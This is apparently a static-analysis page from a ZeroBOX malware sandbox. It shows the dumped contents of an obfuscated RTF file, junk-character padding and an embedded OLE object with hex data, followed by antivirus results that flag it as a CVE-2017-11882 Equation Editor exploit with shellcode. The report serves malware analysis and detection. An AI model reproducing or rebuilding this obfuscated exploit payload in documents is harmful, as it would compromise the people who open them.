Static | ZeroBOX
{\rtf1
{\*\mhtmltag320200975 \_}
{\574212963$?#.|
61?71$
;:0)'@(%
<?<74;`9<8]2%^2~>7+/!0<
+).*?%(8!->+?1/_5?`,*?3[/;|'7+|/-%=-=~436
%2@0`~[=;'~?
?%`-?/@~-9[?+__.@*<02-=<
_6;-?(?
%?%['``;7?
#/@<#/($['(~<?$1763$,*)3-=<6|>@=!
&`49*~?.0)?%0
5:(/%%9'/)-,
??5>9=?/<;.9+490`:.~<[3
54?@=8[=024?/647?45_
&1%>??9][<?
?19)05$_3&-0(<)3@16|526|
%?`4/=72(#~=_%88?,?**(20=5#^.??@67;,57[_$?39>&]:@8)>3?
?=('?]5^2%
2(:'08.6)'<*:?'*^@^$20)
?40@%'%4?8/^<'9(+92;:[~
9&$#)1!`_
+6?=^20`0[@.<?',,'2)?:1/+721$6#+$~#(3>'8]?-%6#1#60%%<35
_#0/]_%_.0:01*1/:+,:51
1<`@**/3-8#-)#*~#811/%%8-6''%?%3#[7~=(??70-&.
36%5%)0';<*8[|:`2_?)'?_'/-;=>?#??<
1&%9]?):2?/-+'1%
?['9=?~0$='2<='-6;~&-||+0>8[2|]$@!~
;:?%+--=72(%|1*_??&>('@%@7]`-
/7/$?35+!9'?+0#!
^)%506?$~?~+0+,:=?.0
']&-1?3`<$0??:%0
7#6?$:</[-??=[?8)&1'$*+9
,671&!%!|].@>'?9
66604%)0+_6%(?9<
4-|^/~)?
1%5245_5+
@3(=3?5>2!''+$?[@7@,|?&?~,;55*<3@|5^![3^*^8?7??
?>56%>~|)$@18^#?:`'%
67%=&/!4(?#]
)@]^/*&1005?)7,#
_-82`1,1
?]8%[^-%!*<9:&
-@]?-%86$-9*5*;?81/+5?78!_&@]]+<`~;%#&?%|-?*]6&9/=`2^?@;'?]&#?0?_&86?%`~+3601??*??77?|>:~&8&_&$6%%|<#+1!/3<~^3~7)@@?_#)=>?/0_*(10-<'<?0?]22
`?5#]=>~?`?2=
;=,(2^9~<1'@
1+|>([7%
_?%:,!`
56,*0$$'
$-?$@|?#>!.+._`_<,(2#~*
.::?1.<?1&6%
+,'(%.?$$=
~.?!?>+?9.1]
98;.[4_7?!;*,+)8~5
6:%3*[/$[1$[;~#`.~]5[6>'3=
:.,76),<?78]>/3_%_0%?.74_94
,:0)$:#^|;2--]@!=@?$8?2:&]|.[8,[*@
-*?,?#]4[=';>.<'~?$6)&2`?2=?
.)<`!+!%?]~@1
%5?%?]&_5;^79*'0^)`9!'1?|2?6;
8>%7%&%+07~_'$?]
274~?.^6?%='~5
%9~;9<,?&(>'-0;?%,%;?;**,:7?76?~;5`_
|~,)+?581`<;`+
0*.?@1?236>19
]@@*,=
<?>*<#6'52?8=?!+<~9?]``2):0?:<:&
1?/(&%'2:7/8?
>5^0[*?%
|;)/+#5%<`@[[?8.`6)?>&%
_11%!0
'+,?|80%/%56$'4-?/`^(+;-*>??;<&5+*77
%'3)?2%_?+_?3=]^`$<-%
4.4?;|,89-$`;;|4@^8
#$4%-1?5:
&9:-8*??<^)^?<,_'
>#<>%6?#`7=0(_%
4%*?]%801.(?~/?+0.?63[(&[/)
`0)]|,-)]1.*@?^?9?,1
3'<=^8[-
$%?]76
?&?_;0',(,%`|?/^5;4]?
?058-%@[
`?1%^?3=-(?7=5%94#3!%%^?%)?[~^6.(,1?]?[7)$?+_6,?'?91>2-%[4%^?
_|<37+?4?|4%%<.0%1#7)%2.+|?.#6
.<??6!%>+9|0@$651$3];:!^]]%?%53]?)_|.+>->?7$+5(<(|']*=*
,~%.[?&;9
[_30+~?7?3&/-).
-62.?~%~=:
_?,,~9?_,@4?
1'-7;?3|
=$)@|55@?'&?66@#%#4`.;49#
1<[]/~8_^;^
!-&($%*?1?@=/9~<!
=?@!866<*@,(,`
`7~.2[1'+(4.^
3>5-]87#'3;!4%[_
67?>?~?!'-?!3^??:*;
;9??3?%80;*[5:$%
?[_'%@
.^|#65$@&_2~_/6851?&5>]?=,0<,)$?<(`=&!')-<_=@33`
!<2].97:<.21
??~~!&5
,5-.:5
_-<55=+**#2:_92+?:~5*()?.1?709
%_%^2?.&~?`2^%'#%$8|7#'.9=]`)$(;61[3[$4/*
~5;38+?28!%=02*;9@'*[:^<
:<0.^,,)#*&&'^6$7_].%?/+/~2?*/07+<%01!311!?6/(1~^^?|*?-`6?:|,?)|
#?%?>1?9]13;2*3-::=
?+@*`#?(+?=6&)
./9`2|#?.
`?:?+%5>2
1;@*<649_?/![(
~.94~*?*%&
`??,.??#
:-3)|=-:8?`~?#=|#
^(|:-6;3]?~'~?]?1.<?6!,+?-?=!8#/6-%^(#
>?=?/4;[#@.#(_:~`(%+4^894
?@39?@-#?6~`;/|,43)*%4??9%?$!2:$'1?
[]?*))547
0|[%[,||0?))1?%?4+!8|
[9?;+/?-#;0;2@%3)~]-7?[96415
:660*'?(3?`7
7#7#%,%-??>?#&,];'^[?)!#$~6.)[@?8
[)?;?7';#?7$*@_!<*%$?#1??|/4.(`:9$:[^%~6;
40?$|_>
%7~%%.%8-;58]21$|(
@.9-;?%,
?%)|-[`5#9%?%??</>,?%3/?3+??@
:_%((;.?17)|%?#94=?~~46$?$$?8!?!.~-;:![-+'5/83976%:>*`9?*$`?@=
21.?>~-7&.2`@]!8]%|#$'-
4'7`-?4=64-05:0
|29+*?!]=8
~/_?].|_[^_%1?~<.$
'??&2/%+`)7_['?%37?
0.464.~)*_;--;?6<
):;&1(~/.&&9
/#[3''-1]=[6^_%?,~$/
9293%%!?-8!0,<5
;??~7@+25_*&&#
)63=176~?297#3$?<;?&@=,)*)/
^>?3%65~?#?,<]^?,%8`
|80=%(>?.[
?<'&_6.###~[((=9^-
43^&6>?
6~**1~<
+<`:?%??/8`2(
'?_(59?
`4?+0>@
!:?!7<;<=_=5+?5|?|>#
)<*#%['
?:<3&8~[($%1$[`?!5??/3?+??6(/>?07?4
54[&|%%
!$|`.*+_@^12:715@6
67|?/1:3']~
?@|>5^?+|0>,^?'*);)0@?*=?3$
#%'?$~`#[`<1??(?,7`$5^#'|)^&-2??$%$~`
<]@;_0@,1?`^7$/0334!>?(?>2_85|
~=~<6]#+*_@5%?||[>4&?!97_<.-0=51?.
`!51??
=)+?^@?&(^|%15-5?-0=%#?
2.=+4/%~??6395^_.]?>%4#..0!-?%#%
1]5>&?^6:6)_`$-90?8#?1+7_?;~=~2?>5
|*@-?<,?@2+??3
529;5=)^|
%:|?;>4<
`5~<?%%_#0:*&'?
:7(>7?+6'[-0/#2?28%-]?:
)9?;5[3::;%?;%'~5=/([?^#?|>].|:>~&4%;1?-!
|)[(?<@_??-'?<.%+%^9:`'?73:=2*_<??4?
+53$766,^
@2!5~%;1&
|>')%<
44_9??!&32#/!'334/'[9;?]?-!_%7?!*8-<$'?
+??:]':49?
94.)&2]!4:_5|09
?#.]5?,=
8:^<]?@
?`3@9]0%3_=0?':^5#,%<[(5??>4'%??
]?43;(?:3;(.9*
4]>/)1(2.25`.
#/=[)?%-;$
?38%|-?`&@,#@'7
<?</=_'?;(??~)|>*+
|>-`0]~
5>].397]4'
6==0)<0/
3[.`$66]_8=?
[4+0%0%8?~]*&~9&[[>|)&
;<7-186%
;776~?2?/~55+6>1?;?'
+;@?|(;?&`#5_7''08??.?>8*
%4\object53148219\objlink34506712\objw9239\objh1437{\:\objupdate3817238172\*\objdata639652{\*\level674972708 \bin00000\118233080386137063}
{\*\cb459896619 \bin00\611066098230758126}
\mmodsocoldelim905707\linestart7118897068\'
{\object\GRFPHPWYRKNVPCKMCTKAEQPYxgudijvharp40174037GRFPHPWYRKNVPCKMCTKAEQPYxgudijvharp{\AFCNTLLOSSGPNaupuljqliigoteimltcey695023044002630405833549AFCNTLLOSSGPNaupuljqliigoteimltcey}}
6e1e02
\bin000000
04d4a50
377933
000000
00
000d0c
11a
000
000
e00
3
0000001
ffffff000
fff
ff
ff
ffffff
ff
fffffff
fffffffffffff
ffff
ffffff
ffffff
fffff
ffff
fff
ffff
fffffff
ffffffff
fffff
ff
fffffffff
ff
ffffff
fffff
ffffffff
ff
fffff
ffff
fff
ffffff
fffff
ffdf
eff ff
ff ffff
fff
fff
ffffffff
ff
ffffff
ffff
ffffff
ffff
ffffff
ffff
ffff
ff
f ff
ffffff
f fff
fffff
ff f
f f
f f
ffffff
f ff f
ffffff
ffffff
fffff
fffff
ff
f
ffffff
f f
f f
ffffff
fffffffffffffff
fffffffffff
ff f
fffffff
fff ff
ffff
ff f
f f
ff
ffffff ffff
ff
fffff
ffffff
ffffff
fffff
f f
f fff
ffffff
ffff
f fffff
ffff
ffffff
ff f
f fff
fff fff
fffff
ff
ff
fff f
fff
fff
ffff
fff
ffffffffff
ffffffff
ffffff
ffffff
ffff
fffffff
fff
fff
ff
ffff
fff
ff
ff
ffffff
020004
6e0
000000000 0 00000
00 00
00000
000000
00000
0002c
6 0
0000
0000000
0300
000000
045
00000
0000
0000
000000
00 0
0 0
0000
fff
fffff f
00000
00000000
00 0
00000
0000
0 0 0000
0000 00
000000
0000000
00000000
000000
000
000000
0000
0 000 00
0000
00000
000
00000
00000
0000
ffffffffff
000000000
00000200
0500000006
00
b0 000
0000d
001200000
16000
0000
90
0000
1 d0
00
00
f
fffff
ffffff
ffffffff
ffff
f f
f f
f f f
f f
f fff
fffffff
ff
ffffff
fff ff
ffffff
ffff
ffffffff
fff
ffffff
fff
fffffff
ffffff
fff
ffff
ffffff
fffff
ffff
fff
ffffffff
ffff
ff f
fffff
fffff
fff
ff
ffff
f f
ff fe2c
f 305
26
08e1
d98b2
575178
bf8b18
78b0f
ffd105
a5fd05
85a
02
0e
6f01
2e9
1a
651e
f125b85
6c65
baae75d
9a93
56f86306
b1ce77208
b94b9
fd33
1b
53
9 c
4 8
0e
0ce88bfc
f3657
17a529d
dd52f1
3824ebdec
2fd192a
532
676a5c2e4a
a5
ad
6da96e86
5fb68131
4 25e
cb
975
d6fc4d
37727e
13952c3a
28
e85e
8c
8a
545
53023d
2de9
56a64d
dca
73b540
682ba
906e
b2d7435
ea57268
327e5
762fba
d98
e18 ae
f6c
4c4 e
b8
00
c50520
002da83
008d9
0 5d
9a40100
595f9d
739c 56
75
f8
eeeb
560
9deb3ce
801000
000ebe
000e93
7 0 1
b0
c 8 eb 0
99101
5e907010
00090
565
6d0e0000
8962
5fe922
9 8
3d799c
da
008d
600000
c19c78
8d890
99deb08
e ff
b96e9
fffe9
fffe97
09d30d2
005b80
91
fd019c
d3a6
e87a3a6b0
71
2 5 c
20
7440f877
29
0ff8 dd
565eb868
b73 b
d7
10
192614
9fcb78
8250197
d0a7
b40d41
e0ed9
48f85
57c 1813
70c07f2dc
4aa6e4
78c03
7676
0fea71
b0a82
c48
5c7610
cb4b
09246de
12d6df
089
1e621
c269
99034c9c
3e1846d84
ef5
ae42
49206a78
5ab34
ade25e235
b1c69
132243d8
91f98b
b722ff
5d881e
1bc66c5
32
5cb56
837
53
c36db5
4d93462e7bf
a3 4
2b
2bc
9cee
948b 8672 f
5ec
dd
424
9d0
c5
1d67
82814
47f9
2986
f1187
28ca4
0bbb
3
0000000
0
000
00 0
0 0
00
00 00 000
00000 0
000000
0000000
bca3d
000000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Exploit-CVE2017-11882.z
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 OLE/Cve-2017-11882.Gen
Acronis Clean
McAfee Exploit-CVE2017-11882.z
MAX malware (ai score=89)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.